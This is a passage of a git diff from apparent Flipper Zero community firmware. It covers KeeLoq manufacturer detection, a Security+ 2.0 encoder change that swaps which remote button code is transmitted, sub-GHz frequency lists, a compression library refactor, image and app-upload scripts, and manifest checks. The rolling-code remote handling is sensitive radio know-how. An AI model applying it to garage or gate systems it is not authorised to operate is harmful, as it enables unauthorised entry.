0x00ff) && (key_fix >> 28) == ((key_hop >> 12) & 0x0f) && (key_hop & 0xFFF) == 0x404) { @@ -1162,10 +1199,14 @@ static void subghz_protocol_keeloq_check_remote_controller( } temp_counter = instance->cnt; - } else { + } else if(klq_prog_mode == 1) { *manufacture_name = "BFT"; mfname = *manufacture_name; instance->cnt = temp_counter; + } else if(klq_prog_mode == 2) { + *manufacture_name = "Aprimatic"; + mfname = *manufacture_name; + instance->cnt = temp_counter; } instance->serial = key_fix & 0x0FFFFFFF; @@ -1247,6 +1288,10 @@ SubGhzProtocolStatus instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } // Read manufacturer from file if(flipper_format_read_string( flipper_format, "Manufacture", instance->manufacture_from_file)) { diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index f0715648c..a1d5b26b4 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_KEELOQ_NAME "KeeLoq" typedef struct SubGhzProtocolDecoderKeeloq SubGhzProtocolDecoderKeeloq; @@ -160,3 +164,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_keeloq_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index 679b31812..333f826e1 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_NICE_FLOR_S_NAME "Nice FloR-S" typedef struct SubGhzProtocolDecoderNiceFlorS SubGhzProtocolDecoderNiceFlorS; @@ -137,3 +141,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_nice_flor_s_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index a55930552..a0bc2b9f4 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -83,6 +83,25 @@ const SubGhzProtocol subghz_protocol_secplus_v2 = { .encoder = &subghz_protocol_secplus_v2_encoder, }; +static uint8_t sc_btn_temp_id; +static uint8_t sc_btn_temp_id_original; + +void secplus2_set_btn(uint8_t b) { + sc_btn_temp_id = b; +} + +uint8_t secplus2_get_original_btn() { + return sc_btn_temp_id_original; +} + +uint8_t secplus2_get_custom_btn() { + return sc_btn_temp_id; +} + +void secplus2_reset_original_btn() { + sc_btn_temp_id_original = 0; +} + void* subghz_protocol_encoder_secplus_v2_alloc(SubGhzEnvironment* environment) { UNUSED(environment); SubGhzProtocolEncoderSecPlus_v2* instance = malloc(sizeof(SubGhzProtocolEncoderSecPlus_v2)); @@ -338,6 +357,11 @@ static void instance->btn = 0; instance->serial = 0; } + + // Save original button for later use + if(sc_btn_temp_id_original == 0) { + sc_btn_temp_id_original = instance->btn; + } } /** @@ -373,6 +397,72 @@ static uint64_t subghz_protocol_secplus_v2_encode_half(uint8_t roll_array[], uin */ static void subghz_protocol_secplus_v2_encode(SubGhzProtocolEncoderSecPlus_v2* instance) { + // Save original button for later use + if(sc_btn_temp_id_original == 0) { + sc_btn_temp_id_original = instance->generic.btn; + } + + // Set custom button + if(sc_btn_temp_id == 1) { + switch(sc_btn_temp_id_original) { + case 0x68: + instance->generic.btn = 0x80; + break; + case 0x80: + instance->generic.btn = 0x68; + break; + case 0x81: + instance->generic.btn = 0x80; + break; + case 0xE2: + instance->generic.btn = 0x80; + break; + + default: + break; + } + } + if(sc_btn_temp_id == 2) { + switch(sc_btn_temp_id_original) { + case 0x68: + instance->generic.btn = 0x81; + break; + case 0x80: + instance->generic.btn = 0x81; + break; + case 0x81: + instance->generic.btn = 0x68; + break; + case 0xE2: + instance->generic.btn = 0x81; + break; + + default: + break; + } + } + if(sc_btn_temp_id == 3) { + switch(sc_btn_temp_id_original) { + case 0x68: + instance->generic.btn = 0xE2; + break; + case 0x80: + instance->generic.btn = 0xE2; + break; + case 0x81: + instance->generic.btn = 0xE2; + break; + case 0xE2: + instance->generic.btn = 0x68; + break; + + default: + break; + } + } + if((sc_btn_temp_id == 0) && (sc_btn_temp_id_original != 0)) { + instance->generic.btn = sc_btn_temp_id_original; + } uint32_t fixed_1[1] = {instance->generic.btn << 12 | instance->generic.serial >> 20}; uint32_t fixed_2[1] = {instance->generic.serial & 0xFFFFF}; uint8_t rolling_digits[18] = {0}; @@ -611,7 +701,7 @@ bool subghz_protocol_secplus_v2_create_data( if((res == SubGhzProtocolStatusOk) && !flipper_format_write_hex(flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) { FURI_LOG_E(TAG, "Unable to add Secplus_packet_1"); - res = SubGhzProtocolStatusError; + res = SubGhzProtocolStatusErrorParserOthers; } return res == SubGhzProtocolStatusOk; } diff --git a/lib/subghz/protocols/secplus_v2.h b/lib/subghz/protocols/secplus_v2.h index 0eea732af..4d9d5df00 100644 --- a/lib/subghz/protocols/secplus_v2.h +++ b/lib/subghz/protocols/secplus_v2.h @@ -1,6 +1,10 @@ #pragma once #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_SECPLUS_V2_NAME "Security+ 2.0" typedef struct SubGhzProtocolDecoderSecPlus_v2 SubGhzProtocolDecoderSecPlus_v2; @@ -10,6 +14,14 @@ extern const SubGhzProtocolDecoder subghz_protocol_secplus_v2_decoder; extern const SubGhzProtocolEncoder subghz_protocol_secplus_v2_encoder; extern const SubGhzProtocol subghz_protocol_secplus_v2; +// Custom buttons +void secplus2_set_btn(uint8_t b); + +uint8_t secplus2_get_original_btn(); +uint8_t secplus2_get_custom_btn(); + +void secplus2_reset_original_btn(); + /** * Allocate SubGhzProtocolEncoderSecPlus_v2. * @param environment Pointer to a SubGhzEnvironment instance @@ -125,3 +137,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_secplus_v2_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/somfy_telis.h b/lib/subghz/protocols/somfy_telis.h index 36f6c70b5..dc1ec2b77 100644 --- a/lib/subghz/protocols/somfy_telis.h +++ b/lib/subghz/protocols/somfy_telis.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_SOMFY_TELIS_NAME "Somfy Telis" typedef struct SubGhzProtocolDecoderSomfyTelis SubGhzProtocolDecoderSomfyTelis; @@ -133,3 +137,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_somfy_telis_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/star_line.h b/lib/subghz/protocols/star_line.h index 901b82f7c..b142a4032 100644 --- a/lib/subghz/protocols/star_line.h +++ b/lib/subghz/protocols/star_line.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_STAR_LINE_NAME "Star Line" typedef struct SubGhzProtocolDecoderStarLine SubGhzProtocolDecoderStarLine; @@ -131,3 +135,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index 0b3c8939e..d32484c45 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -73,10 +73,10 @@ static const uint32_t subghz_frequency_list[] = { }; static const uint32_t subghz_hopper_frequency_list[] = { + 310000000, 315000000, - 330000000, - 390000000, - 433420000, + 318000000, + 418000000, 433920000, 868350000, 0, @@ -448,7 +448,7 @@ uint32_t subghz_setting_get_frequency(SubGhzSetting* instance, size_t idx) { uint32_t subghz_setting_get_hopper_frequency(SubGhzSetting* instance, size_t idx) { furi_assert(instance); - if(idx < FrequencyList_size(instance->frequencies)) { + if(idx < FrequencyList_size(instance->hopper_frequencies)) { return *FrequencyList_get(instance->hopper_frequencies, idx); } else { return 0; diff --git a/lib/toolbox/SConscript b/lib/toolbox/SConscript index c01e32a6b..caff7bd0a 100644 --- a/lib/toolbox/SConscript +++ b/lib/toolbox/SConscript @@ -13,7 +13,7 @@ env.Append( File("manchester_encoder.h"), File("path.h"), File("random_name.h"), - File("hmac_sha256.h"), + File("sha256.h"), File("crc32_calc.h"), File("dir_walk.h"), File("md5.h"), diff --git a/firmware/targets/f7/furi_hal/furi_hal_compress.c b/lib/toolbox/compress.c similarity index 67% rename from firmware/targets/f7/furi_hal/furi_hal_compress.c rename to lib/toolbox/compress.c index 7e31dbbf7..0d5e1c654 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_compress.c +++ b/lib/toolbox/compress.c @@ -1,115 +1,112 @@ -#include +#include "compress.h" #include #include #include -#define TAG "FuriHalCompress" +/** Defines encoder and decoder window size */ +#define COMPRESS_EXP_BUFF_SIZE_LOG (8u) -#define FURI_HAL_COMPRESS_ICON_ENCODED_BUFF_SIZE (2 * 512) -#define FURI_HAL_COMPRESS_ICON_DECODED_BUFF_SIZE (1024) +/** Defines encoder and decoder lookahead buffer size */ +#define COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG (4u) -#define FURI_HAL_COMPRESS_EXP_BUFF_SIZE (1 << FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG) +/** Buffer sizes for input and output data */ +#define COMPRESS_ICON_ENCODED_BUFF_SIZE (1024u) +#define COMPRESS_ICON_DECODED_BUFF_SIZE (1024u) typedef struct { uint8_t is_compressed; uint8_t reserved; uint16_t compressed_buff_size; -} FuriHalCompressHeader; +} CompressHeader; -typedef struct { - heatshrink_decoder* decoder; - uint8_t - compress_buff[FURI_HAL_COMPRESS_EXP_BUFF_SIZE + FURI_HAL_COMPRESS_ICON_ENCODED_BUFF_SIZE]; - uint8_t decoded_buff[FURI_HAL_COMPRESS_ICON_DECODED_BUFF_SIZE]; -} FuriHalCompressIcon; +_Static_assert(sizeof(CompressHeader) == 4, "Incorrect CompressHeader size"); -struct FuriHalCompress { - heatshrink_encoder* encoder; +struct CompressIcon { heatshrink_decoder* decoder; - uint8_t* compress_buff; - uint16_t compress_buff_size; + uint8_t decoded_buff[COMPRESS_ICON_DECODED_BUFF_SIZE]; }; -static FuriHalCompressIcon* icon_decoder; +CompressIcon* compress_icon_alloc() { + CompressIcon* instance = malloc(sizeof(CompressIcon)); + instance->decoder = heatshrink_decoder_alloc( + COMPRESS_ICON_ENCODED_BUFF_SIZE, + COMPRESS_EXP_BUFF_SIZE_LOG, + COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); + heatshrink_decoder_reset(instance->decoder); + memset(instance->decoded_buff, 0, sizeof(instance->decoded_buff)); -static void furi_hal_compress_reset(FuriHalCompress* compress) { - furi_assert(compress); - heatshrink_encoder_reset(compress->encoder); - heatshrink_decoder_reset(compress->decoder); - memset(compress->compress_buff, 0, compress->compress_buff_size); + return instance; } -void furi_hal_compress_icon_init() { - icon_decoder = malloc(sizeof(FuriHalCompressIcon)); - icon_decoder->decoder = heatshrink_decoder_alloc( - icon_decoder->compress_buff, - FURI_HAL_COMPRESS_ICON_ENCODED_BUFF_SIZE, - FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG, - FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); - heatshrink_decoder_reset(icon_decoder->decoder); - memset(icon_decoder->decoded_buff, 0, sizeof(icon_decoder->decoded_buff)); - FURI_LOG_I(TAG, "Init OK"); +void compress_icon_free(CompressIcon* instance) { + furi_assert(instance); + heatshrink_decoder_free(instance->decoder); + free(instance); } -void furi_hal_compress_icon_decode(const uint8_t* icon_data, uint8_t** decoded_buff) { +void compress_icon_decode(CompressIcon* instance, const uint8_t* icon_data, uint8_t** decoded_buff) { + furi_assert(instance); furi_assert(icon_data); furi_assert(decoded_buff); - FuriHalCompressHeader* header = (FuriHalCompressHeader*)icon_data; + CompressHeader* header = (CompressHeader*)icon_data; if(header->is_compressed) { size_t data_processed = 0; heatshrink_decoder_sink( - icon_decoder->decoder, - (uint8_t*)&icon_data[4], + instance->decoder, + (uint8_t*)&icon_data[sizeof(CompressHeader)], header->compressed_buff_size, &data_processed); while(1) { HSD_poll_res res = heatshrink_decoder_poll( - icon_decoder->decoder, - icon_decoder->decoded_buff, - sizeof(icon_decoder->decoded_buff), + instance->decoder, + instance->decoded_buff, + sizeof(instance->decoded_buff), &data_processed); furi_assert((res == HSDR_POLL_EMPTY) || (res == HSDR_POLL_MORE)); if(res != HSDR_POLL_MORE) { break; } } - heatshrink_decoder_reset(icon_decoder->decoder); - memset(icon_decoder->compress_buff, 0, sizeof(icon_decoder->compress_buff)); - *decoded_buff = icon_decoder->decoded_buff; + heatshrink_decoder_reset(instance->decoder); + *decoded_buff = instance->decoded_buff; } else { *decoded_buff = (uint8_t*)&icon_data[1]; } } -FuriHalCompress* furi_hal_compress_alloc(uint16_t compress_buff_size) { - FuriHalCompress* compress = malloc(sizeof(FuriHalCompress)); - compress->compress_buff = malloc(compress_buff_size + FURI_HAL_COMPRESS_EXP_BUFF_SIZE); - compress->encoder = heatshrink_encoder_alloc( - compress->compress_buff, - FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG, - FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); +struct Compress { + heatshrink_encoder* encoder; + heatshrink_decoder* decoder; +}; + +static void compress_reset(Compress* compress) { + furi_assert(compress); + heatshrink_encoder_reset(compress->encoder); + heatshrink_decoder_reset(compress->decoder); +} + +Compress* compress_alloc(uint16_t compress_buff_size) { + Compress* compress = malloc(sizeof(Compress)); + compress->encoder = + heatshrink_encoder_alloc(COMPRESS_EXP_BUFF_SIZE_LOG, COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); compress->decoder = heatshrink_decoder_alloc( - compress->compress_buff, - compress_buff_size, - FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG, - FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); + compress_buff_size, COMPRESS_EXP_BUFF_SIZE_LOG, COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); return compress; } -void furi_hal_compress_free(FuriHalCompress* compress) { +void compress_free(Compress* compress) { furi_assert(compress); heatshrink_encoder_free(compress->encoder); heatshrink_decoder_free(compress->decoder); - free(compress->compress_buff); free(compress); } -bool furi_hal_compress_encode( - FuriHalCompress* compress, +bool compress_encode( + Compress* compress, uint8_t* data_in, size_t data_in_size, uint8_t* data_out, @@ -126,7 +123,7 @@ bool furi_hal_compress_encode( HSE_finish_res finish_res; bool encode_failed = false; size_t sunk = 0; - size_t res_buff_size = sizeof(FuriHalCompressHeader); + size_t res_buff_size = sizeof(CompressHeader); // Sink data to encoding buffer while((sunk < data_in_size) && !encode_failed) { @@ -174,7 +171,7 @@ bool furi_hal_compress_encode( bool result = true; // Write encoded data to output buffer if compression is efficient. Else - write header and original data if(!encode_failed && (res_buff_size < data_in_size + 1)) { - FuriHalCompressHeader header = { + CompressHeader header = { .is_compressed = 0x01, .reserved = 0x00, .compressed_buff_size = res_buff_size}; memcpy(data_out, &header, sizeof(header)); *data_res_size = res_buff_size; @@ -186,13 +183,13 @@ bool furi_hal_compress_encode( *data_res_size = 0; result = false; } - furi_hal_compress_reset(compress); + compress_reset(compress); return result; } -bool furi_hal_compress_decode( - FuriHalCompress* compress, +bool compress_decode( + Compress* compress, uint8_t* data_in, size_t data_in_size, uint8_t* data_out, @@ -212,11 +209,11 @@ bool furi_hal_compress_decode( size_t res_buff_size = 0; size_t poll_size = 0; - FuriHalCompressHeader* header = (FuriHalCompressHeader*)data_in; + CompressHeader* header = (CompressHeader*)data_in; if(header->is_compressed) { // Sink data to decoding buffer size_t compressed_size = header->compressed_buff_size; - size_t sunk = sizeof(FuriHalCompressHeader); + size_t sunk = sizeof(CompressHeader); while(sunk < compressed_size && !decode_failed) { sink_res = heatshrink_decoder_sink( compress->decoder, &data_in[sunk], compressed_size - sunk, &sink_size); @@ -258,7 +255,7 @@ bool furi_hal_compress_decode( } else { result = false; } - furi_hal_compress_reset(compress); + compress_reset(compress); return result; } diff --git a/lib/toolbox/compress.h b/lib/toolbox/compress.h new file mode 100644 index 000000000..a18551d7f --- /dev/null +++ b/lib/toolbox/compress.h @@ -0,0 +1,96 @@ +/** + * @file compress.h + * LZSS based compression HAL API + */ +#pragma once + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** Compress Icon control structure */ +typedef struct CompressIcon CompressIcon; + +/** Initialize icon compressor + * + * @return Compress Icon instance + */ +CompressIcon* compress_icon_alloc(); + +/** Free icon compressor + * + * @param instance The Compress Icon instance + */ +void compress_icon_free(CompressIcon* instance); + +/** Decompress icon + * + * @warning decoded_buff pointer set by this function is valid till next + * `compress_icon_decode` or `compress_icon_free` call + * + * @param instance The Compress Icon instance + * @param icon_data pointer to icon data + * @param[in] decoded_buff pointer to decoded buffer pointer + */ +void compress_icon_decode(CompressIcon* instance, const uint8_t* icon_data, uint8_t** decoded_buff); + +/** Compress control structure */ +typedef struct Compress Compress; + +/** Allocate encoder and decoder + * + * @param compress_buff_size size of decoder and encoder buffer to allocate + * + * @return Compress instance + */ +Compress* compress_alloc(uint16_t compress_buff_size); + +/** Free encoder and decoder + * + * @param compress Compress instance + */ +void compress_free(Compress* compress); + +/** Encode data + * + * @param compress Compress instance + * @param data_in pointer to input data + * @param data_in_size size of input data + * @param data_out maximum size of output data + * @param data_res_size pointer to result output data size + * + * @return true on success + */ +bool compress_encode( + Compress* compress, + uint8_t* data_in, + size_t data_in_size, + uint8_t* data_out, + size_t data_out_size, + size_t* data_res_size); + +/** Decode data + * + * @param compress Compress instance + * @param data_in pointer to input data + * @param data_in_size size of input data + * @param data_out maximum size of output data + * @param data_res_size pointer to result output data size + * + * @return true on success + */ +bool compress_decode( + Compress* compress, + uint8_t* data_in, + size_t data_in_size, + uint8_t* data_out, + size_t data_out_size, + size_t* data_res_size); + +#ifdef __cplusplus +} +#endif diff --git a/lib/update_util/lfs_backup.c b/lib/update_util/lfs_backup.c index 7786524ef..b299a9d32 100644 --- a/lib/update_util/lfs_backup.c +++ b/lib/update_util/lfs_backup.c @@ -2,11 +2,6 @@ #include -#include -#include -#include -#include -#include #include #define LFS_BACKUP_DEFAULT_LOCATION EXT_PATH(LFS_BACKUP_DEFAULT_FILENAME) @@ -18,12 +13,7 @@ static void backup_name_converter(FuriString* filename) { /* Filenames are already prefixed with '.' */ const char* const names[] = { - BT_SETTINGS_FILE_NAME, - BT_KEYS_STORAGE_FILE_NAME, - DESKTOP_SETTINGS_FILE_NAME, NOTIFICATION_SETTINGS_FILE_NAME, - SLIDESHOW_FILE_NAME, - DOLPHIN_STATE_FILE_NAME, }; for(size_t i = 0; i < COUNT_OF(names); i++) { diff --git a/scripts/FlipperPlaylist.py b/scripts/User/FlipperPlaylist.py similarity index 100% rename from scripts/FlipperPlaylist.py rename to scripts/User/FlipperPlaylist.py diff --git a/scripts/User/ReadMe.md b/scripts/User/ReadMe.md index 2c8cbf86b..4b225a272 100644 --- a/scripts/User/ReadMe.md +++ b/scripts/User/ReadMe.md @@ -6,20 +6,11 @@ icondecode.py A set of python3 scripts for processing the Flipper image files. These work as-is but I am rolling in improvements. -##################################### -PREREQUISITES - - -You'll need heatshrink installed - a small embedded/RTOS compression and decompression library -You can get that here https://github.com/atomicobject/heatshrink - -##################################### -HOW TO USE ## # decode. -Decode a .mb into .xbm: +Decode a .bm into .xbm: decode.py input_image output_image [width] [height] Dimensions are not stored in .bm so you need to specify If you have the meta.txt available for the animation set the dimensions will be in here. @@ -29,7 +20,7 @@ If you do not enter anything here it will assume 128x64. THIS WILL NOT ALWAYS BE ## # encode -Encode an .xbm file into .xb +Encode an .xbm file into .bm encode.py input_image output_image You will also get the image dimensions for use in meta.txt That's it. diff --git a/scripts/User/decode.py b/scripts/User/decode.py index 64072b82f..6736e2610 100644 --- a/scripts/User/decode.py +++ b/scripts/User/decode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess -import io import os -import sys def padded_hex(i, l): @@ -50,10 +47,8 @@ parser.add_argument( args = vars(parser.parse_args()) -r = open(args["infile"], "rb") -w = open(args["outfile"], "w") - -fileStream = r.read() +with open(args["infile"], "rb") as f: + fileStream = f.read() filename = os.path.splitext(os.path.basename(args["outfile"]))[0] @@ -70,9 +65,7 @@ else: # lzss decompress -data_decoded_str = subprocess.check_output( - ["heatshrink", "-d", "-w8", "-l4"], input=unpad -) +data_decoded_str = heatshrink2.decompress(unpad, window_sz2=8, lookahead_sz2=4) # turn it back into xbm @@ -85,6 +78,5 @@ bytes_out = "static unsigned char " + filename + "_bits[] = {" + str(c) + "};" data = width_out + height_out + bytes_out -w.write(data) -r.close() -w.close() +with open(args["outfile"], "w") as f: + f.write(data) diff --git a/scripts/User/encode.py b/scripts/User/encode.py index d88ec25f1..cba7aabcb 100644 --- a/scripts/User/encode.py +++ b/scripts/User/encode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess import io -import os -import sys parser = argparse.ArgumentParser( @@ -15,12 +12,10 @@ parser.add_argument("outfile", metavar="o", help="File to write to") args = vars(parser.parse_args()) -r = open(args["infile"], "r") -w = open(args["outfile"], "wb") - - -output = subprocess.check_output(["cat", args["infile"]]) +with open(args["infile"], "rb") as f: + output = f.read() f = io.StringIO(output.decode().strip()) + print("Image Dimensions:") width = int(f.readline().strip().split(" ")[2]) print("W: ", width) @@ -30,20 +25,16 @@ print("H: ", height) data = f.read().strip().replace("\n", "").replace(" ", "").split("=")[1][:-1] data_str = data[1:-1].replace(",", " ").replace("0x", "") - data_bin = bytearray.fromhex(data_str) -data_encoded_str = subprocess.check_output( - ["heatshrink", "-e", "-w8", "-l4"], input=data_bin -) - -assert data_encoded_str +data_encoded_str = heatshrink2.compress(data_bin, window_sz2=8, lookahead_sz2=4) data_enc = bytearray(data_encoded_str) data_enc = bytearray([len(data_enc) & 0xFF, len(data_enc) >> 8]) + data_enc -if len(data_enc) < len(data_bin) + 1: + +if len(data_enc) + 2 < len(data_bin) + 1: data = b"\x01\x00" + data_enc else: data = b"\x00" + data_bin -w.write(data) -r.close() -w.close() + +with open(args["outfile"], "wb") as f: + f.write(data) diff --git a/scripts/User/icondecode.py b/scripts/User/icondecode.py index c1177bc18..752f30a4e 100644 --- a/scripts/User/icondecode.py +++ b/scripts/User/icondecode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess import io -import os -import sys def padded_hex(i, l): @@ -55,22 +52,19 @@ parser.add_argument( ) args = vars(parser.parse_args()) -r = open(args["infile"], "r") -w = open(args["outfile"], "w") imageWidth = args["Width"] imageHeight = args["Height"] trimStart = args["Trim"] -output = subprocess.check_output(["cat", args["infile"]]) # yes this is terrible. +with open(args["infile"], "rb") as f: + output = f.read() f = io.StringIO(output.decode().strip()) data = f.read().strip().replace(";", "").replace("{", "").replace("}", "") data_str = data.replace(",", "").replace("0x", "") data_bin = bytearray.fromhex(data_str[trimStart:]) -data_decoded_str = subprocess.check_output( - ["heatshrink", "-d", "-w8", "-l4"], input=data_bin -) +data_decoded_str = heatshrink2.decompress(data_bin, window_sz2=8, lookahead_sz2=4) b = list(data_decoded_str) @@ -82,6 +76,5 @@ bytes_out = "static unsigned char icon_bits[] = {" + str(c) + "};" data = width_out + height_out + bytes_out -w.write(data) -r.close() -w.close() +with open(args["outfile"], "w") as f: + f.write(data) diff --git a/scripts/User/iconencode.py b/scripts/User/iconencode.py index e41e597dd..d1073dee0 100644 --- a/scripts/User/iconencode.py +++ b/scripts/User/iconencode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess import io -import os -import sys def padded_hex(i, l): @@ -46,23 +43,21 @@ parser.add_argument( ) args = vars(parser.parse_args()) -r = open(args["infile"], "r") -infile = args["infile"].split(".")[0] +filename = args["infile"].split(".")[0] imageWidth = args["Width"] imageHeight = args["Height"] dims = str(imageWidth) + "x" + str(imageHeight) -output = subprocess.check_output(["cat", args["infile"]]) # yes this is terrible. +with open(args["infile"], "rb") as f: + output = f.read() f = io.StringIO(output.decode().strip()) data = f.read().strip().replace(";", "").replace("{", "").replace("}", "") data_str = data.replace(",", "").replace("0x", "") data_bin = bytearray.fromhex(data_str) -data_encoded_str = subprocess.check_output( - ["heatshrink", "-e", "-w8", "-l4"], input=data_bin -) +data_encoded_str = heatshrink2.compress(data_bin, window_sz2=8, lookahead_sz2=4) b = list(data_encoded_str) @@ -70,7 +65,7 @@ c = ",".join(padded_hex(my_int, 2) for my_int in b) # a bit ugly. -framename = "_I_" + infile + "_" + dims +framename = "_I_" + filename + "_" + dims print(len(b)) # d=len(b) # if b > 255 split 0x1234 into 0x34,0x12 diff --git a/scripts/asset_packer.py b/scripts/asset_packer.py index ebf52c4a1..0be4d4dd7 100755 --- a/scripts/asset_packer.py +++ b/scripts/asset_packer.py @@ -114,7 +114,14 @@ def pack( ) manifest = (source / "Anims/manifest.txt").read_bytes() for anim in re.finditer(rb"Name: (.*)", manifest): - anim = anim.group(1).decode().replace("\\", "/").replace("/", os.sep) + anim = ( + anim.group(1) + .decode() + .replace("\\", "/") + .replace("/", os.sep) + .replace("\r", "\n") + .strip() + ) logger(f"Compile: anim for pack '{source.name}': {anim}") pack_anim(source / "Anims" / anim, packed / "Anims" / anim) diff --git a/scripts/distfap.py b/scripts/distfap.py new file mode 100644 index 000000000..612ad9ad8 --- /dev/null +++ b/scripts/distfap.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 + +from flipper.app import App +from flipper.storage import FlipperStorage, FlipperStorageOperations +from flipper.utils.cdc import resolve_port + +import os +import posixpath + + +class Main(App): + def init(self): + self.parser.add_argument("-p", "--port", help="CDC Port", default="auto") + self.parser.add_argument( + "-n", + "--no-launch", + dest="launch_app", + action="store_false", + help="Don't launch app", + ) + + self.parser.add_argument("fap_src_path", help="App file to upload") + self.parser.add_argument( + "--fap_dst_dir", help="Upload path", default="/ext/apps", required=False + ) + self.parser.set_defaults(func=self.install) + + def install(self): + if not (port := resolve_port(self.logger, self.args.port)): + return 1 + + try: + with FlipperStorage(port) as storage: + storage_ops = FlipperStorageOperations(storage) + fap_local_path = self.args.fap_src_path + self.args.fap_dst_dir = self.args.fap_dst_dir.rstrip("/\\") + + if not os.path.isfile(fap_local_path): + self.logger.error( + f"Error: source .fap ({fap_local_path}) not found" + ) + return 2 + + fap_dst_path = posixpath.join( + self.args.fap_dst_dir, os.path.basename(fap_local_path) + ) + + self.logger.info(f'Installing "{fap_local_path}" to {fap_dst_path}') + + storage_ops.recursive_send(fap_dst_path, fap_local_path, False) + + if not self.args.launch_app: + return 0 + + storage.send_and_wait_eol(f'loader open "Apps" {fap_dst_path}\r') + + if len(result := storage.read.until(storage.CLI_EOL)): + self.logger.error(f"Unexpected response: {result.decode('ascii')}") + return 3 + return 0 + + except Exception as e: + self.logger.error(f"Error: {e}") + # raise + return 4 + + +if __name__ == "__main__": + Main()() diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 624113101..2357c19b5 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -12,13 +12,14 @@ class FlipperAppType(Enum): SERVICE = "Service" SYSTEM = "System" APP = "App" - PLUGIN = "Plugin" DEBUG = "Debug" ARCHIVE = "Archive" SETTINGS = "Settings" STARTUP = "StartupHook" EXTERNAL = "External" METAPACKAGE = "Package" + PLUGIN = "Plugin" + EXTMAINAPP = "ExtMainApp" @dataclass @@ -67,13 +68,24 @@ class FlipperApplication: fap_icon_assets_symbol: Optional[str] = None fap_extbuild: List[ExternallyBuiltFile] = field(default_factory=list) fap_private_libs: List[Library] = field(default_factory=list) + fap_file_assets: Optional[str] = None # Internally used by fbt + _appmanager: Optional["AppManager"] = None _appdir: Optional[object] = None _apppath: Optional[str] = None + _plugins: List["FlipperApplication"] = field(default_factory=list) def supports_hardware_target(self, target: str): return target in self.targets or "all" in self.targets + @property + def is_default_deployable(self): + return self.apptype != FlipperAppType.DEBUG and self.fap_category != "Examples" + + def __post_init__(self): + if self.apptype == FlipperAppType.PLUGIN: + self.stack_size = 0 + class AppManager: def __init__(self): @@ -93,6 +105,23 @@ class AppManager: return app return None + def _validate_app_params(self, *args, **kw): + apptype = kw.get("apptype") + if apptype == FlipperAppType.PLUGIN: + if kw.get("stack_size"): + raise FlipperManifestException( + f"Plugin {kw.get('appid')} cannot have stack (did you mean FlipperAppType.EXTERNAL?)" + ) + if not kw.get("requires"): + raise FlipperManifestException( + f"Plugin {kw.get('appid')} must have 'requires' in manifest" + ) + # Harmless - cdefines for external apps are meaningless + # if apptype == FlipperAppType.EXTERNAL and kw.get("cdefines"): + # raise FlipperManifestException( + # f"External app {kw.get('appid')} must not have 'cdefines' in manifest" + # ) + def load_manifest(self, app_manifest_path: str, app_dir_node: object): if not os.path.exists(app_manifest_path): raise FlipperManifestException( @@ -104,12 +133,14 @@ class AppManager: def App(*args, **kw): nonlocal app_manifests + self._validate_app_params(*args, **kw) app_manifests.append( FlipperApplication( *args, **kw, _appdir=app_dir_node, _apppath=os.path.dirname(app_manifest_path), + 